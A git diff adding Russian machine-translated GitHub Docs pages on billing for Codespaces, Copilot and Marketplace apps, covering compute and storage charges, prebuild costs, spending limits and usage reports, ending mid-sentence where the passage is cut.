всеми пространствами кода, оплачиваемыми для определенной учетной записи. Эти итоги передаются в службу выставления счетов каждый час и выставляются ежемесячно. + +Например, если codespace активно в течение 1 часа и 15 минут, то затраты на вычисления будут почасовой стоимостью codespace, определяемой типом компьютера, умноженной на 1,25. + +Вы можете управлять использованием вычислительных ресурсов, остановив codespace. Дополнительные сведения см. в разделе [Остановка и запуск codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace). Codespace останавливается автоматически после настраиваемого периода бездействия. Период ожидания может быть настроен пользователем или на уровне организации. Дополнительные сведения см. в [разделах Настройка периода ожидания для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)и [Ограничение периода простоя](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period). + +### Выставление счетов за использование хранилища +Для выставления счетов за {% data variables.product.prodname_github_codespaces %} хранилище включает дисковое пространство, используемое всеми пространствами кода и предварительными сборками в вашей учетной записи. Сюда входят все файлы, используемые в codespace, такие как клонированные репозитории, файлы конфигурации, данные, загруженные в codespace (например, в качестве входных или выходных данных программного обеспечения, работающего в репозитории), и расширения. Плата за хранилище взимается за все существующие codespace, независимо от того, активны ли они или неактивны, за исключением заблокированного использования из-за исчерпанной квоты на использование или достижения предельной суммы расходов. Выставление счетов за хранилище для codespace заканчивается после его удаления. + +{% note %} + +**Примечания** + +- При использовании конфигурации контейнера разработки по умолчанию (см. раздел [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)) контейнер по умолчанию не учитывается в качестве используемого хранилища. При создании пользовательского контейнера с помощью конфигурации контейнера разработки с другим базовым образом контейнер считается используемым хранилищем. +- При перестроении контейнера из образа по умолчанию базовый контейнер не считается используемым хранилищем. Для других базовых образов все хранилище, используемое codespace, включая базовый контейнер, считается используемым хранилищем. + +{% endnote %} + +Данные о хранилище Codespace отображаются в ГБ-месяцев. Ваш месяц выставления счетов длится с фиксированного дня в одном месяце до того же дня в следующем месяце. В большинстве случаев день месяца определяется днем начала работы с текущим планом {% data variables.product.prodname_dotcom %}. Хранилище в ГБ в месяц рассчитывается следующим образом. Каждый час оценивается хранилище, используемое всеми текущими активными и остановленными пространствами кода. Затем эта цифра делится на количество часов в текущем месяце выставления счетов: `total storage size / hours this month`. Результат добавляется к запущенной сумме для хранилища codespace за месяц. + +Например, если у вас есть одно пространство кода, которое использует 100 ГБ хранилища и существует в течение одного часа, вы будете использовать `100 / (24 * 30) = 0.1388` хранилище в ГБ месяцев в течение 30-дневного месяца. Если использование {% data variables.product.prodname_github_codespaces %} в течение 30-дневного месяца состоит из двух кодовых пространств по 100 ГБ, которые существовали в течение трех полных дней, будут почасовые `24 * 3` отчеты о хранении этих кодовых пространств с общим объемом `(24 * 3) * 200 / (24 * 30) = 20` в ГБ месяцев. + +Для каждого почасового отчета использование хранилища за предыдущий час рассчитывается в секундах. В результате с вас не будет взиматься плата за полный час хранения, если codespace не существовало в течение полных 60 минут. В конце месяца {% data variables.product.prodname_dotcom %} округляет размер хранилища до ближайшего целого мегабайта. + +Владельцы организации могут: +- Список активных и остановленных codespace для вашей организации. Дополнительные сведения см. в разделе [Перечисление codespaces в организации](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization). Помимо затрат на эти codespace, стоимость {% data variables.product.prodname_github_codespaces %} за текущий месяц может включать затраты на codespace, которые существовали в начале текущего месяца, но с тех пор были удалены. +- Просмотрите общий объем использования вычислительных ресурсов и хранилища {% data variables.product.prodname_github_codespaces %} в вашей организации за текущий месяц. Дополнительные сведения см. в разделе [Просмотр данных об использовании {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). +- Настройте параметры организации для управления затратами на {% data variables.product.prodname_github_codespaces %}. Дополнительные сведения см. в разделе [Управление затратами на {% data variables.product.prodname_github_codespaces %} в организации](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization). + +Чтобы оценить затраты на услуги с лимитным тарифом, можно использовать [калькулятор цен](https://github.com/pricing/calculator?feature=codespaces) {% data variables.product.prodname_dotcom %}. + +### Выставление счетов для предварительных сборок {% data variables.product.prodname_codespaces %} + +{% data reusables.codespaces.prebuilds-definition %} Дополнительные сведения см. в разделе [Сведения о предварительных сборках {% data variables.product.prodname_github_codespaces %}](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds). + +#### Затраты на {% data variables.product.prodname_actions %} для предварительных сборок + +Предварительные сборки создаются и обновляются путем запуска рабочего процесса {% data variables.product.prodname_actions %} в средстве выполнения тестов, размещенном в {% data variables.product.prodname_dotcom %}. Вы можете настроить автоматическую активацию обновлений предварительной сборки. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild). + +Как и в случае с другими рабочими процессами, во время выполнения рабочих процессов предварительной сборки они потребляют {% data variables.product.prodname_actions %} минут, включенных в вашу учетную запись, если таковые имеются, или за них взимается плата за {% data variables.product.prodname_actions %} минут. Дополнительные сведения о ценах на {% data variables.product.prodname_actions %} минут см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). Затраты на вычислительные ресурсы {% data variables.product.prodname_codespaces %} для создания или обновления предварительных сборок отсутствуют. + +Вы можете отслеживать использование рабочих процессов предварительной сборки и хранилища, скачав отчет об использовании для своей учетной записи. Дополнительные сведения см. в разделе [Просмотр данных об использовании {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). + +#### Затраты на хранение для предварительных сборок + +Помимо {% data variables.product.prodname_actions %} минут, вам также будет выставляться счет за хранение предварительных сборок, связанных с каждой конфигурацией предварительной сборки, для заданного репозитория и региона. Плата за хранение предварительных сборок взимается по той же ставке, что и за хранилище для codespace. + +Затраты на хранение предварительной сборки в одном регионе будут аналогичны затратам на хранение одного пространства кода, созданного из этой предварительной сборки. Затраты на хранение для созданного codespace могут быть больше, чем стоимость предварительной сборки, если, например, `updateContentCommand` команды и `postCreateCommand` используются во время создания codespace для скачивания дополнительных файлов в контейнер разработки. + +Общие затраты на хранение, связанные с конфигурацией предварительной сборки, будут зависеть от следующих факторов. + +- Цена хранилища за ГБ. См. таблицу выше. +- Размер созданной предварительной сборки в ГБ. +- Количество регионов, в которых доступна предварительная сборка (так как копия предварительной сборки хранится в каждом регионе). +- Количество старых версий предварительной сборки, которые хранятся. + +Таким образом, стоимость хранения для предварительных сборок, созданных конфигурацией предварительной сборки, рассчитывается следующим образом: `price per GB * size (GB) * regions * versions`. + +#### Управление стоимостью предварительных сборок + +Чтобы уменьшить расход минут действий, можно настроить для предварительной сборки обновление только при внесении изменений в файлы конфигурации контейнера разработки или только по расписанию, указанному пользователем. Вы также можете управлять использованием хранилища, изменив количество предыдущих версий каждой предварительной сборки, которые хранятся. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +Чтобы ограничить затраты на хранение, связанные с предварительными сборками, можно создать предварительные сборки только в выбранных регионах и указать количество старых версий предварительных сборок, которые будут сохранены. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +{% note %} + +**Примечание**. Предварительные сборки могут обновляться несколько раз в течение месяца выставления счетов. Более новые версии предварительной сборки могут быть больше или меньше предыдущих версий. Это повлияет на расходы на хранение. Дополнительные сведения о том, как рассчитывается хранилище в течение месяца выставления счетов, см. в разделе [Выставление счетов за использование хранилища](#billing-for-storage-usage) выше. + +{% endnote %} + +#### Стоимость codespace, созданных из предварительных сборок + +Использование codespace, созданных с применением предварительных сборок, оплачивается по той же ставке, что и обычные codespace. + +## Установка предельной суммы расходов + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} + +Сведения об управлении и изменении предельной суммы расходов для учетной записи см. в разделе [Управление предельной суммой расходов для {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). + +{% data reusables.codespaces.exporting-changes %} + +## Ограничение типов компьютеров для кодовых пространств, принадлежащих организации + +По умолчанию при создании codespace используется тип компьютера с наименьшим допустимым объемом ресурсов. Однако пользователи могут выбрать тип компьютера с большим объемом ресурсов. Это можно сделать при создании codespace, либо можно изменить тип компьютера для существующего пространства codespace. Дополнительные сведения см. в [разделах Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository) и [Изменение типа компьютера для codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace). + +Если выбран тип компьютера с большим объемом ресурсов, это повлияет на почасовую плату за это пространство codespace, как показано выше. + +Владельцы организации могут создать политику, ограничивающую выбор типов компьютеров, доступных пользователям для codespace, счета за которые выставляются учетной записью организации или предприятия. Дополнительные сведения см. в разделе [Ограничение доступа по типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). + +## Выставление счетов за вилки репозиториев + +Плата за использование кодовых пространств, созданных из разветвленного репозитория, будет взиматься с вашей личной учетной записи, если вышестоящий (или родительский) репозиторий не находится в организации, которая разрешила вам как участнику или стороннему участнику совместной работы организации использовать codespace за счет организации. + +Например, рассмотрим участника или стороннего участника совместной работы организации, которая разрешила выставление счетов за codespace для этого пользователя. Если у пользователя есть разрешение на создание вилки частного репозитория организации, он может впоследствии создать и использовать codespace для нового репозитория за счет организации. Это связано с тем, что организация является владельцем родительского репозитория. Обратите внимание, что владелец организации может удалить доступ пользователя к частному репозиторию, репозиторию вилки и, следовательно, к codespace. Владелец организации также может удалить родительский репозиторий, который также удалит разветвленный репозиторий. Дополнительные сведения см. в разделе [Управление политикой ветвления для репозитория](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository). + +{% data reusables.codespaces.codespaces-disabling-org-billing %} + +## Обработка выставления счетов при передаче репозитория в другую организацию + +Использование рассчитывается каждый час. Организация платит за использование codespace, созданных из любого репозитория, принадлежащего организации, где параметры организации позволяют выставлять счета за организацию. Дополнительные сведения см. в разделе [Включение {% data variables.product.prodname_github_codespaces %} для организации](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization). При передаче репозитория из вашей организации ответственность за владение и выставление счетов за любые codespace, связанные с этим репозиторием, будут соответствующим образом изменены. + +## Что происходит при удалении пользователей + +Если пользователь удаляется из организации или репозитория, его пространства codespace удаляются автоматически. diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/index.md b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/index.md new file mode 100644 index 000000000000..e77f23b3ed73 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/index.md @@ -0,0 +1,19 @@ +--- +title: Управление выставлением счетов для GitHub Codespaces +shortTitle: Codespaces +intro: 'Вы можете просмотреть сведения об использовании и задать предельную сумму расходов для {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +children: + - /about-billing-for-github-codespaces + - /viewing-your-github-codespaces-usage + - /managing-the-spending-limit-for-github-codespaces +ms.openlocfilehash: 869239aefd5a2d244e7ff70735ad814802ed2616 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159096' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces.md b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces.md new file mode 100644 index 000000000000..ce0c70cc78f2 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces.md @@ -0,0 +1,86 @@ +--- +title: Управление предельной суммой расходов для GitHub Codespaces +intro: 'Можно настроить предельную сумму расходов для использования {% data variables.product.prodname_github_codespaces %}.' +shortTitle: Spending limit +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Enterprise + - Organizations + - Spending limits + - User account + - Billing +redirect_from: + - /billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces + - /billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces +ms.openlocfilehash: 87dd5204bb41ddaef911562cfb4662125e04139a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160296' +--- +## Сведения о предельной сумме расходов на {% data variables.product.prodname_github_codespaces %} + +{% data reusables.codespaces.codespaces-free-for-personal-intro %} Дополнительные сведения см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} {% data reusables.codespaces.codespaces-monthly-billing %} + +После достижения предельной суммы расходов вы больше не сможете создавать новые codespace и запускать существующие codespace. Все существующие codespace, которые по-прежнему выполняются, будут завершены в течение короткого времени, но плата за использование не будет взиматься после достижения предельной суммы расходов. + +{% ifversion ghec %} +## Использование подписки Azure +Если вы приобрели {% data variables.product.prodname_enterprise %} через Соглашение Enterprise Майкрософт, вы можете подключить идентификатор подписки Azure к корпоративной учетной записи, чтобы включить и оплатить использование {% data variables.product.prodname_github_codespaces %}. Дополнительные сведения см. в разделе [Подключение подписки Azure к организации](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise). +{% endif %} + +## Управление предельной суммой расходов на {% data variables.product.prodname_github_codespaces %} для личной учетной записи + +Вы можете установить предельную сумму расходов для {% data variables.product.prodname_github_codespaces %} для своей личной учетной записи. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.codespaces.monthly-spending-limit-codespaces %} {% data reusables.dotcom_billing.update-spending-limit %} + +## Управление предельной суммой расходов {% data variables.product.prodname_github_codespaces %} для учетной записи организации + +Владельцы организаций и менеджеры по выставлению счетов могут управлять предельной суммой расходов для {% data variables.product.prodname_github_codespaces %} для организации. + +{% note %} + +**Примечание**. Организации, принадлежащие корпоративной учетной записи, не могут указывать собственную предельную сумму расходов, так как она указана в параметрах предприятия. + +{% endnote %} + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.codespaces.monthly-spending-limit-codespaces %} {% data reusables.dotcom_billing.update-spending-limit %} + +{% ifversion ghec %} +## Управление предельной суммой расходов {% data variables.product.prodname_github_codespaces %} для корпоративной учетной записи + +Владельцы предприятия и менеджеры по выставлению счетов могут управлять предельной суммой расходов для {% data variables.product.prodname_github_codespaces %} для корпоративной учетной записи. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. Щелкните **Предельная сумма расходов**. + + ![Вкладка "Предельная сумма расходов"](/assets/images/help/settings/spending-limit-tab-enterprise.png) + +{% data reusables.codespaces.monthly-spending-limit-codespaces %} {% data reusables.dotcom_billing.update-spending-limit %} {% endif %} + +## Экспорт изменений при достижении предельной суммы расходов + +{% data reusables.codespaces.exporting-changes %} + +## Управление уведомлениями по электронной почте об использовании и предельной сумме расходов + +Email уведомления отправляются владельцам учетных записей и менеджерам по выставлению счетов, когда расходы достигают 75%, 90% и 100% от предельной суммы расходов учетной записи. + +Вы можете отключить эти уведомления в любое время, перейдя в нижнюю часть страницы "Планы выставления счетов & / Ежемесячные пределы расходов" и снимите флажок **Оповещения об ограничениях расходов** . + +Только для личных учетных записей вы также можете отключить уведомления по электронной почте, отправляемые при использовании 75%, 90% и 100 % бесплатного использования, включенного в вашу личную учетную запись. Для этого снимите флажок **Включенные оповещения о ресурсах** . + +![Снимок экрана: параметры уведомлений о счетах по электронной почте](/assets/images/help/codespaces/codespaces-spending-limit-notifications.png) + +## Дополнительные материалы + +- "[Ограничение доступа к типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" +- [Управление затратами на {% data variables.product.prodname_github_codespaces %} в организации](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization) diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md new file mode 100644 index 000000000000..d0b8627b94d6 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md @@ -0,0 +1,74 @@ +--- +title: Просмотр сведений о потреблении GitHub Codespaces +shortTitle: Viewing your usage +intro: 'Вы можете просмотреть часы вычислений и хранилище, используемые {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Codespaces + - Billing +redirect_from: + - /billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage +ms.openlocfilehash: 67e29ee71b1881ee2ae6e9ca872fd7969f86afca +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158744' +--- +## Просмотр использования {% data variables.product.prodname_github_codespaces %} для личной учетной записи + +Вы можете увидеть, сколько потребления в вашей личной учетной записи вы использовали до сих пор в текущем ежемесячном цикле выставления счетов. Если вы настроили метод оплаты, установили предельную сумму расходов и использовали все включенные данные о потреблении, вы также можете проверить счет за текущий месяц. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +1. В разделе "{% data variables.product.prodname_codespaces %}" можно увидеть, сколько часов использования вычислительных ресурсов {% data variables.product.prodname_github_codespaces %} и объем хранилища в ГБ-месяцев использовался в текущем месяце выставления счетов. + + ![Снимок экрана: начальное представление личного использования](/assets/images/help/codespaces/view-personal-usage-collapsed.png) + + Сведения о "основных часах" и "гб-месяцах" см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/enterprise-cloud@latest/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +1. При необходимости щелкните **Часы использования** и **Хранилище** , чтобы просмотреть дополнительные сведения. + + ![Снимок экрана: расширенное представление личного использования](/assets/images/help/codespaces/view-personal-usage-expanded.png) + + В столбце **Включено** показано, сколько часов использования вычислительных ресурсов (ГБ-месяцев) бесплатно в вашей учетной записи вы использовали в этом месяце. В **столбце Платная** показано, сколько часов использования ядер выставлено счета или в гб месяцев хранилища, которое вы использовали. Цифры обновляются раз в час. + + На приведенном выше снимке экрана используется вся квота включенного хранилища за месяц. При использовании всех включенных вычислительных ресурсов или хранилища (в зависимости от того, что достигается первым), необходимо настроить метод оплаты и предельную сумму расходов, чтобы продолжать использовать {% data variables.product.prodname_github_codespaces %} в течение текущего месяца выставления счетов. Дополнительные сведения см. в разделах [Добавление или изменение метода оплаты](/enterprise-cloud@latest/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method) и [Управление лимитами расходов для {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-personal-account). + +{% data reusables.codespaces.usage-report-download %} + +## Просмотр использования {% data variables.product.prodname_github_codespaces %} для учетной записи организации + +Владельцы организации и менеджеры по выставлению счетов могут просматривать сведения об использовании {% data variables.product.prodname_github_codespaces %} для организации. + +{% data reusables.organizations.billing-settings %} +1. В разделе "{% data variables.product.prodname_codespaces %}" можно просмотреть сведения о часах вычислений и хранилище, уже использованных в этом месяце. + + ![Снимок экрана: сведения об использовании вычислительных ресурсов и хранилище](/assets/images/help/billing/codespaces-compute-storage.png) + + Вы также можете просмотреть и обновить текущую предельную сумму расходов. Дополнительные сведения см. в разделе [Управление предельными суммами расходов для {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). + + {% note %} + + **Примечания** + * Показанные здесь затраты представляют собой совокупные затраты за текущий ежемесячный расчетный период. Затраты по тарифам для {% data variables.product.prodname_github_codespaces %}, показанные на этой странице, сбрасываются до нуля в начале каждого ежемесячного расчетного периода. Непогашенные расходы за предыдущие месяцы не отображаются. + * Цифры на этой странице обновляются каждый час. + + {% endnote %} + +{% data reusables.codespaces.usage-report-download %} + +{% ifversion ghec %} +## Просмотр сведений об использовании {% data variables.product.prodname_codespaces %} для корпоративной учетной записи + +Владельцы предприятия и менеджеры по выставлению счетов могут просматривать сведения об использовании {% data variables.product.prodname_github_codespaces %} для корпоративной учетной записи. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. В разделе "{% data variables.product.prodname_codespaces %} ежемесячное использование" просмотрите сведения об использовании каждой организации в своей корпоративной учетной записи. +{% data reusables.codespaces.usage-report-download %} {% endif %} + +## Дополнительные материалы + +- [Перечисление сред codespace в организации](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization) diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md b/translations/ru-RU/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md new file mode 100644 index 000000000000..fe4e4669352e --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md @@ -0,0 +1,21 @@ +--- +title: About billing for GitHub Copilot +intro: 'If you want to use {% data variables.product.prodname_copilot %}, you need a subscription for your {% data variables.product.prodname_dotcom %} account.' +product: '{% data reusables.gated-features.copilot-billing %}' +versions: + feature: copilot +topics: + - Copilot +shortTitle: Billing for GitHub Copilot +--- +## About billing for {% data variables.product.prodname_copilot %} + +If you want to use {% data variables.product.prodname_copilot %}, you will need a subscription for your {% data variables.product.prodname_dotcom %} personal account. For more information about {% data variables.product.prodname_copilot %}, see "[About {% data variables.product.prodname_copilot %}](/en/copilot/overview-of-github-copilot/about-github-copilot)." + +Before starting a paid subscription, you can set up a one-time 60-day trial to evaluate {% data variables.product.prodname_copilot %}. To begin a trial, you will need to choose a monthly or yearly billing cycle, and provide a payment method. If you do not cancel the trial before the end of the 60 days, the trial will automatically convert to a paid subscription. You can cancel your {% data variables.product.prodname_copilot %} trial at any time during the 60 days and you won't be charged. If you cancel before the end of the trial, you will continue to have access to {% data variables.product.prodname_copilot %} until the 60-day trial period ends. For more information, see "[Managing your GitHub Copilot subscription](/en/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription)." + +## {% data variables.product.prodname_copilot %} pricing + +The {% data variables.product.prodname_copilot %} subscription is available on a monthly or yearly cycle. If you choose a monthly billing cycle, you will be billed $10 per calendar month. If you choose a yearly billing cycle, you will be billed $100 per year. You can modify your billing cycle at any time, and the modification will be reflected from the start of your next billing cycle. + +A free subscription for {% data variables.product.prodname_copilot %} is available to verified students, teachers, and maintainers of popular open-source repositories on {% data variables.product.company_short %}. If you meet the criteria as an open source maintainer, you will be automatically notified when you visit the {% data variables.product.prodname_copilot %} subscription page. As a student, if you currently receive the {% data variables.product.prodname_student_pack %}, you will also be offered a free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page. For more information about the {% data variables.product.prodname_student_pack %}, see "[Apply to {% data variables.product.prodname_global_campus %} as a student](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)." diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-copilot/index.md b/translations/ru-RU/content/billing/managing-billing-for-github-copilot/index.md new file mode 100644 index 000000000000..dc419c1c899d --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-copilot/index.md @@ -0,0 +1,17 @@ +--- +title: Управление выставлением счетов для GitHub Copilot +shortTitle: GitHub Copilot +intro: 'Попробуйте использовать пробную версию {% data variables.product.prodname_copilot %}, прежде чем оформить подписку. Вы сможете в любое время изменить или отменить подписку.' +versions: + feature: copilot +children: + - /about-billing-for-github-copilot + - /managing-your-github-copilot-subscription +ms.openlocfilehash: 96947819762933ad78544da4b8347cbc5efef646 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080718' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md b/translations/ru-RU/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md new file mode 100644 index 000000000000..3cd29f0809e9 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md @@ -0,0 +1,52 @@ +--- +title: Managing your GitHub Copilot subscription +intro: 'Set up your {% data variables.product.prodname_copilot %} trial and manage your subscription.' +product: '{% data reusables.gated-features.copilot-billing %}' +versions: + feature: copilot +type: how_to +topics: + - Copilot +shortTitle: Your GitHub Copilot subscription +--- + +## Setting up a trial of {% data variables.product.prodname_copilot %} + +{% data reusables.copilot.signup-procedure %} + +## Modifying your {% data variables.product.prodname_copilot %} subscription + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +1. In the "{% data variables.product.prodname_copilot %}" section, select the **Edit** dropdown. + - If you are on a monthly billing cycle, select **Change to yearly billing**. + - If you are on a yearly billing cycle, select **Change to monthly billing**. + ![Screenshot of GitHub Copilot section on billing page with edit dropdown emphasized](/assets/images/help/copilot/copilot-settings-edit-dropdown.png) + + +## Canceling your {% data variables.product.prodname_copilot %} subscription + +You can cancel your {% data variables.product.prodname_copilot %} subscription at any time. If you cancel during your 60 day trial, you won't be charged. If you do not cancel your {% data variables.product.prodname_copilot %} subscription before the end of the 60 day trial, you will be charged according to the billing cycle you selected when setting up the trial. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +1. In the "{% data variables.product.prodname_copilot %}" section, select the **Edit** dropdown. + - If you have a paid subscription, click **Cancel {% data variables.product.prodname_copilot %}**. + + ![Screenshot of GitHub Copilot section on billing page with cancel GitHub Copilot option emphasized](/assets/images/help/copilot/copilot-billing-edit-dropdown.png) + + - If you are within your 60 day trial period, click **Cancel trial**. + ![Screenshot of GitHub Copilot section on billing page with cancel trial option emphasized](/assets/images/help/copilot/copilot-cancel-trial.png) + +2. In the "Cancel {% data variables.product.prodname_copilot %}" modal, click **I understand, cancel {% data variables.product.prodname_copilot %}** + + ![Screenshot of GitHub Copilot cancel modal with I understand, cancel GitHub Copilot button emphasized](/assets/images/help/copilot/copilot-cancel-modal.png) + + - If you are within your 60 day trial period, click **I understand, cancel {% data variables.product.prodname_copilot %} trial**. + + ![Screenshot of GitHub Copilot cancel trial modal with I understand, cancel trial button emphasized](/assets/images/help/copilot/copilot-trial-cancel-modal.png) + +## Further reading + +- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot) +- [Getting started with {% data variables.product.prodname_copilot %}](/copilot/getting-started-with-github-copilot) diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md new file mode 100644 index 000000000000..d20f64f793c5 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md @@ -0,0 +1,69 @@ +--- +title: Сведения о выставлении счетов для GitHub Marketplace +intro: 'Если вы устанавливаете платное приложение в {% data variables.product.prodname_marketplace %}, ваша подписка использует ту же существующую дату выставления счетов, которая используется для вашей учетной записи, тот же способ оплаты и квитанцию.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-marketplace + - /articles/about-billing-for-github-marketplace + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Marketplace +shortTitle: Billing for GitHub Marketplace +ms.openlocfilehash: 815303fa5c0c1a006a0bd4bd017039cf1e035f15 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145088046' +--- +{% data variables.product.prodname_marketplace %} включает приложения с бесплатными и платными тарифными планами. После приобретения и установки приложения его можно в любой момент обновить, перейти на более раннюю версию или отменить. + +{% data reusables.marketplace.marketplace-apps-only %} + +{% data reusables.marketplace.marketplace-org-perms %} + +## Методы оплаты и периоды выставления счетов для покупок в {% data variables.product.prodname_marketplace %} + +Для всех платных планов и подписок на {% data variables.product.prodname_dotcom %} применяется один и тот же метод оплаты. + +Если в вашей личной учетной записи или в организации метод оплаты не указан, при выборе платного плана для приложения происходит следующее: +- Датой выставления счетов считается текущая дата. +- Необходимо добавить метод оплаты в личную учетную запись или в организацию, где нужно установить приложение. +- Посредством выбранного метода оплаты взимается полная стоимость подписки. +- Квитанция отправляется на основной адрес электронной почты или адрес электронной почты для выставления счетов, указанный для личной учетной записи или для организации. + +Если в вашей личной учетной записи или в организации уже настроен метод оплаты, при выборе платного плана для приложения происходит следующее: +- Посредством указанного метода оплаты немедленно взимается сумма, пропорциональная времени, оставшемуся до следующей даты выставления 